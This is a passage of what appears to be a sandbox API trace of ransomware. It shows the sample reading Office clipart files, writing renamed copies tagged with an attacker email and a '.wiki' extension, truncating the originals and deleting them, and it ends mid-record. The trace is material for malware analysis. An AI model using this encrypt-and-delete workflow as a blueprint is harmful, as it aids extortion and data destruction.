returned 1 [0189.730] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.730] SetEndOfFile (hFile=0x1e0) returned 1 [0189.730] CloseHandle (hObject=0x1e0) returned 1 [0189.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0189.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.731] lstrlenW (lpString=".doc") returned 4 [0189.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString=".docx") returned 5 [0189.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.731] lstrlenW (lpString=".pdf") returned 4 [0189.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString=".xls") returned 4 [0189.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.731] lstrlenW (lpString=".xlsx") returned 5 [0189.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.731] lstrlenW (lpString=".ppt") returned 4 [0189.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.731] lstrlenW (lpString=".zip") returned 4 [0189.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.731] lstrlenW (lpString=".rar") returned 4 [0189.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString=".bz2") returned 4 [0189.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString=".7z") returned 3 [0189.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.731] lstrlenW (lpString=".dbf") returned 4 [0189.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.732] lstrlenW (lpString=".1cd") returned 4 [0189.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.732] lstrlenW (lpString=".jpg") returned 4 [0189.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.732] lstrlenW (lpString=".doc") returned 4 [0189.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString=".docx") returned 5 [0189.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.732] lstrlenW (lpString=".pdf") returned 4 [0189.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString=".xls") returned 4 [0189.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.732] lstrlenW (lpString=".xlsx") returned 5 [0189.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.732] lstrlenW (lpString=".ppt") returned 4 [0189.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.732] lstrlenW (lpString=".zip") returned 4 [0189.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.732] lstrlenW (lpString=".rar") returned 4 [0189.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString=".bz2") returned 4 [0189.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.732] lstrlenW (lpString=".7z") returned 3 [0189.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.855] lstrlenW (lpString=".dbf") returned 4 [0189.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.863] lstrlenW (lpString=".1cd") returned 4 [0189.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0189.863] lstrlenW (lpString=".jpg") returned 4 [0189.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.872] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.881] lstrlenW (lpString="HH01618_.WMF") returned 12 [0189.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.888] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7296) returned 1 [0189.888] CloseHandle (hObject=0x1e4) returned 1 [0189.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0189.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.889] GetLastError () returned 0x0 [0189.889] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1c80, lpOverlapped=0x0) returned 1 [0189.890] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0189.891] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.891] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.892] SetEndOfFile (hFile=0x200) returned 1 [0189.892] CloseHandle (hObject=0x200) returned 1 [0189.892] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.892] SetEndOfFile (hFile=0x1e4) returned 1 [0189.893] CloseHandle (hObject=0x1e4) returned 1 [0189.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0189.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.893] lstrlenW (lpString=".doc") returned 4 [0189.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.893] lstrlenW (lpString=".docx") returned 5 [0189.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.893] lstrlenW (lpString=".pdf") returned 4 [0189.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.893] lstrlenW (lpString=".xls") returned 4 [0189.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.893] lstrlenW (lpString=".xlsx") returned 5 [0189.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.893] lstrlenW (lpString=".ppt") returned 4 [0189.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.893] lstrlenW (lpString=".zip") returned 4 [0189.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.893] lstrlenW (lpString=".rar") returned 4 [0189.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString=".bz2") returned 4 [0189.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString=".7z") returned 3 [0189.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString=".dbf") returned 4 [0189.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString=".1cd") returned 4 [0189.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString=".jpg") returned 4 [0189.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString=".doc") returned 4 [0189.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString=".docx") returned 5 [0189.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.894] lstrlenW (lpString=".pdf") returned 4 [0189.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString=".xls") returned 4 [0189.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.894] lstrlenW (lpString=".xlsx") returned 5 [0189.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.894] lstrlenW (lpString=".ppt") returned 4 [0189.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.894] lstrlenW (lpString=".zip") returned 4 [0189.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.894] lstrlenW (lpString=".rar") returned 4 [0189.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.895] lstrlenW (lpString=".bz2") returned 4 [0189.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.895] lstrlenW (lpString=".7z") returned 3 [0189.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.895] lstrlenW (lpString=".dbf") returned 4 [0189.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.895] lstrlenW (lpString=".1cd") returned 4 [0189.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0189.895] lstrlenW (lpString=".jpg") returned 4 [0189.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.895] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.895] lstrlenW (lpString="HH01923_.WMF") returned 12 [0189.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.896] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=26706) returned 1 [0189.896] CloseHandle (hObject=0x1e4) returned 1 [0189.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0189.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.896] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.896] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.896] GetLastError () returned 0x0 [0189.896] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6852, lpOverlapped=0x0) returned 1 [0189.898] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6860, lpOverlapped=0x0) returned 1 [0189.899] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.900] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.900] SetEndOfFile (hFile=0x200) returned 1 [0189.900] CloseHandle (hObject=0x200) returned 1 [0189.900] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.900] SetEndOfFile (hFile=0x1e4) returned 1 [0189.901] CloseHandle (hObject=0x1e4) returned 1 [0189.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0189.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.901] lstrlenW (lpString=".doc") returned 4 [0189.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.901] lstrlenW (lpString=".docx") returned 5 [0189.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.901] lstrlenW (lpString=".pdf") returned 4 [0189.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString=".xls") returned 4 [0189.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.902] lstrlenW (lpString=".xlsx") returned 5 [0189.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.902] lstrlenW (lpString=".ppt") returned 4 [0189.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString=".zip") returned 4 [0189.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.902] lstrlenW (lpString=".rar") returned 4 [0189.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString=".bz2") returned 4 [0189.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString=".7z") returned 3 [0189.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString=".dbf") returned 4 [0189.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString=".1cd") returned 4 [0189.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString=".jpg") returned 4 [0189.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.902] lstrlenW (lpString=".doc") returned 4 [0189.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.902] lstrlenW (lpString=".docx") returned 5 [0189.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.902] lstrlenW (lpString=".pdf") returned 4 [0189.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString=".xls") returned 4 [0189.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.903] lstrlenW (lpString=".xlsx") returned 5 [0189.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.903] lstrlenW (lpString=".ppt") returned 4 [0189.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.903] lstrlenW (lpString=".zip") returned 4 [0189.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.903] lstrlenW (lpString=".rar") returned 4 [0189.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString=".bz2") returned 4 [0189.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString=".7z") returned 3 [0189.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.903] lstrlenW (lpString=".dbf") returned 4 [0189.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.903] lstrlenW (lpString=".1cd") returned 4 [0189.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0189.903] lstrlenW (lpString=".jpg") returned 4 [0189.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.903] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.903] lstrlenW (lpString="HH02155_.WMF") returned 12 [0189.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.904] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2704) returned 1 [0189.904] CloseHandle (hObject=0x1e4) returned 1 [0189.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0189.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.904] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.904] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.905] GetLastError () returned 0x0 [0189.905] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xa90, lpOverlapped=0x0) returned 1 [0189.906] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xaa0, lpOverlapped=0x0) returned 1 [0189.907] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.907] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.907] SetEndOfFile (hFile=0x200) returned 1 [0189.907] CloseHandle (hObject=0x200) returned 1 [0189.907] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.907] SetEndOfFile (hFile=0x1e4) returned 1 [0189.908] CloseHandle (hObject=0x1e4) returned 1 [0189.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0189.909] 